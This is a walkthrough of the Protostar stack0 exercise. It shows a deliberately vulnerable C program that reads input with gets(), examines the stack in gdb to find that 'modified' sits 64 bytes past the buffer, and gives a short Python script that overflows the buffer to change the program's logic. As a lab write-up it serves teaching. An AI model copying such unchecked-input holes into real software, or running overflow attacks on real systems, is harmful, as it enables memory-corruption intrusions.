Protostar——stack0

Introduction

  We know that when the program execution enters a new function, the system will allocate a space on the stack for the function to store the parameters and local variable information used in the function, and use the registers ESP and EBP to indicate the space range. When returning from the function , this space will also be discarded, which actually modifies the values ​​in the ESP and EBP registers. This exercise explains the allocation of variables on the stack, and how to break through the space limitations of ESP and EBP, modify the data outside the allocated space, and change the execution logic of the function.

source code

       
 1 #include <stdlib.h>
 2 #include <unistd.h>
 3 #include <stdio.h>
 4 
 5 int main(int argc, char **argv)
 6 {
 7     volatile int modified;
 8     char buffer[64];
 9 
10     modified = 0;
11     gets(buffer);
12 
13     if(modified != 0) {
14         printf("you have changed the 'modified' variable\n");
15     } else {
16         printf("Try again?\n");
17     }
18 } 

analyze

  This exercise is just a hands-on, so it's easy.
  The program contains two variables, one modified, which is declared as volatile. This identifier indicates that each time the modified variable is used, the value is read from memory instead of using the value stored in the cache; there is also a variable buffer, which occupies 64 bytes of space. The program uses the gets function to read the user input and save it to the buffer, and then determines the execution logic of the if statement according to the value of the modified variable.
  According to normal circumstances, since the modified usage is equal to 0, the program should use the output "Try again?", but since the size of the user's input data is not judged when obtaining the user's input, the user may input more than 64 bytes of content, resulting in stack overflow. So how do we modify the value of modified through this stack overflow vulnerability, thereby modifying the execution logic of the if statement?

Debugger

  Stack0 is in the /opt/protostar/bin/ folder and executes directly

gdb stack0

  Enter gdb debugging, according to the source code, set a breakpoint on line 13

b 13

  Execute r to continue the program execution, and enter aaaa as user input, the program pauses on line 13, let's first look at the values ​​of EBP and ESP

(gdb) print $ebp
$1 = (void *) 0xbffffcb8
(gdb) print $esp
$2 = (void *) 0xbffffc50

  We can output the contents of this part of the memory

1 (gdb) x/26xw 0xbffffc50
2 0xbffffc50: 0xbffffc6c 0x00000001 0xb7fff8f8 0xb7f0186e
3 0xbffffc60: 0xb7fd7ff4 0xb7ec6165 0xbffffc78 0x61616161
4 0xbffffc70: 0xb7fd7f00 0x08049620 0xbffffc88 0x080482e8
5 0xbffffc80: 0xb7ff1040 0x08049620 0xbffffcb8 0x08048469
6 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffffcb8
7 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000
8 0xbffffcb0: 0x08048450 0x00000000

  You can see 0x61616161 at the end of the second line, which is the aaaa we entered and the starting position of the buffer. Let's take a look at where the variable modified is

(gdb) info address modified
Symbol "modified" is a local variable at frame offset 92.

  I have added red to the offset value of 92, and we can see that the start of the buffer is 64 bytes away from modified. In this execution, we only entered "aaaa". If we continue to enter more than 64 bytes of content, the value of the modified variable will be overwritten, but be careful not to exceed the position of the modified variable, otherwise other key information will be overwritten ( such as the return address), crashing the program.

Writing of EXPLOIT

  So what does the exploit need to do? In fact, it is very simple. It is to execute the program stack0, and automatically enter the payload when the program requires user input. Our payload can be 65 characters a.
  The subprocess module is used to handle user input during program execution.
exploit code:

1 import subprocess
2 proc = subprocess.Popen("/opt/protostar/bin/stack0", stdin=subprocess.PIPE)
3 payload = 'a' * 65
4 proc.communicate(payload)

  Execute, save the above code as a python file and run it, you will find that the program output has become "you have changed the 'modified' variable"

references

  1. https://docs.python.org/2/library/subprocess.html#popen-objects
  2. http://www.yolinux.com/TUTORIALS/GDB-Commands.html
  3. https://exploit-exercises.com/protostar/stack0/

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=325161953&siteId=291194637